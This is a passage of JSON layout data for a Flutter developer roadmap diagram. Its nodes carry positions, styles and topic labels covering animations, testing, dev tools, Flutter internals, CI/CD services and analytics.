1659.022454238067\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Animation Controller\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aet6mLBkB1BtxI8e7x-h3\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 216\n      },\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -273.64790096520323,\n        \"y\": 1659.022454238067\n      }\n    },\n    {\n      \"id\": \"M6iJ0VZWB8mreItlxvvqI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -273.64790096520323,\n        \"y\": 1712.022454238067\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Animated Builder\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aet6mLBkB1BtxI8e7x-h3\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 216\n      },\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -273.64790096520323,\n        \"y\": 1712.022454238067\n      }\n    },\n    {\n      \"id\": \"yRY8MJuXxhDV6Hd-hTMRu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -273.64790096520323,\n        \"y\": 1765.022454238067\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Animated Widget\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aet6mLBkB1BtxI8e7x-h3\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 216\n      },\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -273.64790096520323,\n        \"y\": 1765.022454238067\n      }\n    },\n    {\n      \"id\": \"F1kbyjRR2uHRbTe90LTFP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -273.64790096520323,\n        \"y\": 1818.022454238067\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Curved Animation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aet6mLBkB1BtxI8e7x-h3\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 216\n      },\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -273.64790096520323,\n        \"y\": 1818.022454238067\n      }\n    },\n    {\n      \"id\": \"5WPok-30ubqU8uox7XiSf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -273.64790096520323,\n        \"y\": 1871.022454238067\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Hero\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aet6mLBkB1BtxI8e7x-h3\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 216\n      },\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -273.64790096520323,\n        \"y\": 1871.022454238067\n      }\n    },\n    {\n      \"id\": \"aet6mLBkB1BtxI8e7x-h3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -148.64790096520323,\n        \"y\": 1871.022454238067\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Opacity\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MfqUMirRIEiM7pr5NiGF_\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 216\n      },\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -148.64790096520323,\n        \"y\": 1871.022454238067\n      }\n    },\n    {\n      \"id\": \"zGkDu5j8ln8U9kZgz3TDJ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 81.79463183718707,\n        \"y\": 1964.6202056338686\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mdSWrWi-1n_YlY5iTJwZp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 305\n      },\n      \"positionAbsolute\": {\n        \"x\": 81.79463183718707,\n        \"y\": 1964.6202056338686\n      }\n    },\n    {\n      \"id\": \"BCsv2fKHVxaB22RJJJPWM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 81.79463183718707,\n        \"y\": 2112.4983647057848\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Unit Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0fpwuPTW94iyNlsjXcPOO\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 252\n      },\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 81.79463183718707,\n        \"y\": 2112.4983647057848\n      }\n    },\n    {\n      \"id\": \"9hNfDtZK7_b9qUOXlFGFZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 81.79463183718707,\n        \"y\": 2165.4983647057848\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Widget Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"BjE4Qvjpi0i_s4Oib9765\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 252\n      },\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 81.79463183718707,\n        \"y\": 2165.4983647057848\n      }\n    },\n    {\n      \"id\": \"2RqGKWi13TLleTT7KpdZV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 81.79463183718707,\n        \"y\": 2059.4983647057848\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Integration Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RQMRtlRxvp0CZJzCjRtPu\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 252\n      },\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 81.79463183718707,\n        \"y\": 2059.4983647057848\n      }\n    },\n    {\n      \"id\": \"JbM-Hbf2ShUQt268ZMeZA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 81.79463183718707,\n        \"y\": 2218.4983647057848\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"TDD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"wF8Iy7V-f52qQxOsAJobz\",\n        \"legend\": {\n          \"id\": \"VHDZQqz8L4sTfaI3pxDjc\",\n          \"label\": \"Order in roadmap not strict (learn anytime)\",\n          \"color\": \"#b0b0b0\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 149\n      },\n      \"measured\": {\n        \"width\": 119,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 81.79463183718707,\n        \"y\": 2218.4983647057848\n      }\n    },\n    {\n      \"id\": \"0fpwuPTW94iyNlsjXcPOO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 205.79463183718707,\n        \"y\": 2218.4983647057848\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"BDD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RQMRtlRxvp0CZJzCjRtPu\",\n        \"legend\": {\n          \"id\": \"VHDZQqz8L4sTfaI3pxDjc\",\n          \"label\": \"Order in roadmap not strict (learn anytime)\",\n          \"color\": \"#b0b0b0\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 149\n      },\n      \"measured\": {\n        \"width\": 128,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 205.79463183718707,\n        \"y\": 2218.4983647057848\n      }\n    },\n    {\n      \"id\": \"Jti4RmGDn7jVaHOxtTwPc\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -271.64790096520323,\n        \"y\": 1964.6202056338686\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Dev Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mdSWrWi-1n_YlY5iTJwZp\",\n        \"legend\": {\n          \"id\": \"VHDZQqz8L4sTfaI3pxDjc\",\n          \"label\": \"Order in roadmap not strict (learn anytime)\",\n          \"color\": \"#b0b0b0\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 305\n      },\n      \"positionAbsolute\": {\n        \"x\": -271.64790096520323,\n        \"y\": 1964.6202056338686\n      }\n    },\n    {\n      \"id\": \"ehlGkYI3dqzu3B1pkhg9t\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -271.64790096520323,\n        \"y\": 2059.4983647057848\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Flutter Inspector\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"akQ7SEHiZm9pZK49rsbO2\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217\n      },\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -271.64790096520323,\n        \"y\": 2059.4983647057848\n      }\n    },\n    {\n      \"id\": \"wisXrfrmnZYB3hs5f3_VS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -271.64790096520323,\n        \"y\": 2112.4983647057848\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Flutter Outline\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RQMRtlRxvp0CZJzCjRtPu\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217\n      },\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -271.64790096520323,\n        \"y\": 2112.4983647057848\n      }\n    },\n    {\n      \"id\": \"ZsruX7gozx2-0cQNIkZ6o\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -271.64790096520323,\n        \"y\": 2165.4983647057848\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Memory Allocation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3IQRLoW9OEf0121-w4o5m\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217\n      },\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -271.64790096520323,\n        \"y\": 2165.4983647057848\n      }\n    },\n    {\n      \"id\": \"dgdv8sDKkgQ365mR0kBR3\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -710.298072051004,\n        \"y\": 1964.6202056338686\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Flutter Internals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mdSWrWi-1n_YlY5iTJwZp\",\n        \"legend\": {\n          \"id\": \"VHDZQqz8L4sTfaI3pxDjc\",\n          \"label\": \"Order in roadmap not strict (learn anytime)\",\n          \"color\": \"#b0b0b0\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 314,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 305\n      },\n      \"positionAbsolute\": {\n        \"x\": -710.298072051004,\n        \"y\": 1964.6202056338686\n      }\n    },\n    {\n      \"id\": \"9ytV8xPq60z7doFG07PHi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.298072051004,\n        \"y\": 1820.7432646422665\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Render Objects\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"akQ7SEHiZm9pZK49rsbO2\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217\n      },\n      \"measured\": {\n        \"width\": 314,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.298072051004,\n        \"y\": 1820.7432646422665\n      }\n    },\n    {\n      \"id\": \"24xYv3joKX1roqRGfBXmr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.298072051004,\n        \"y\": 1873.7432646422665\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"3 Trees\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"akQ7SEHiZm9pZK49rsbO2\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217\n      },\n      \"measured\": {\n        \"width\": 113,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.298072051004,\n        \"y\": 1873.7432646422665\n      }\n    },\n    {\n      \"id\": \"lHzW9dyF1u3qmjfdb3vHe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -591.298072051004,\n        \"y\": 1873.7432646422665\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Immutability\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"akQ7SEHiZm9pZK49rsbO2\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217\n      },\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -591.298072051004,\n        \"y\": 1873.7432646422665\n      }\n    },\n    {\n      \"id\": \"ekKzwQCMOYJLVN5KAK-ew\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -711.798072051004,\n        \"y\": 2350.05294950736\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"CI / CD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mdSWrWi-1n_YlY5iTJwZp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 305\n      },\n      \"positionAbsolute\": {\n        \"x\": -711.798072051004,\n        \"y\": 2350.05294950736\n      }\n    },\n    {\n      \"id\": \"hd4O2UPI9bZiyGuCMA-J4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -597.2422341318439,\n        \"y\": 2054.428567306835\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Fast Lane\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"akQ7SEHiZm9pZK49rsbO2\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217\n      },\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -597.2422341318439,\n        \"y\": 2054.428567306835\n      }\n    },\n    {\n      \"id\": \"DcSBkhcOG55_dNaLF1FWA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -597.2422341318439,\n        \"y\": 2107.428567306835\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Codemagic\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"akQ7SEHiZm9pZK49rsbO2\",\n        \"legend\": {\n          \"id\": \"k3w1z-jvosI6y3y7yQIaV\",\n          \"label\": \"Alternative Option - Pick this or purple\",\n          \"color\": \"#147a00\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217\n      },\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -597.2422341318439,\n        \"y\": 2107.428567306835\n      }\n    },\n    {\n      \"id\": \"1xTlq-0MaHN15KZid31Dk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -597.2422341318439,\n        \"y\": 2160.428567306835\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Bitrise\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"akQ7SEHiZm9pZK49rsbO2\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217\n      },\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -597.2422341318439,\n        \"y\": 2160.428567306835\n      }\n    },\n    {\n      \"id\": \"8rCjcuZNL9kicMBXiL46l\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -597.2422341318439,\n        \"y\": 2213.428567306835\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"GitHub Actions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"akQ7SEHiZm9pZK49rsbO2\",\n        \"legend\": {\n          \"id\": \"k3w1z-jvosI6y3y7yQIaV\",\n          \"label\": \"Alternative Option - Pick this or purple\",\n          \"color\": \"#147a00\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217\n      },\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -597.2422341318439,\n        \"y\": 2213.428567306835\n      }\n    },\n    {\n      \"id\": \"akQ7SEHiZm9pZK49rsbO2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -597.2422341318439,\n        \"y\": 2266.428567306835\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Firebase App Dist\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RQMRtlRxvp0CZJzCjRtPu\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217\n      },\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -597.2422341318439,\n        \"y\": 2266.428567306835\n      }\n    },\n    {\n      \"id\": \"s5OVzjQp6k7rSphhv3hZE\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -271.64790096520323,\n        \"y\": 2350.05294950736\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Analytics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mdSWrWi-1n_YlY5iTJwZp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 305\n      },\n      \"positionAbsolute\": {\n        \"x\": -271.64790096520323,\n        \"y\": 2350.05294950736\n      }\n    },\n    {\n      \"id\": \"PQ7o9Jw9SBEhHl8cc_46x\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -273.89917160142375,\n        \"y\": 2263.3029319887246\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": 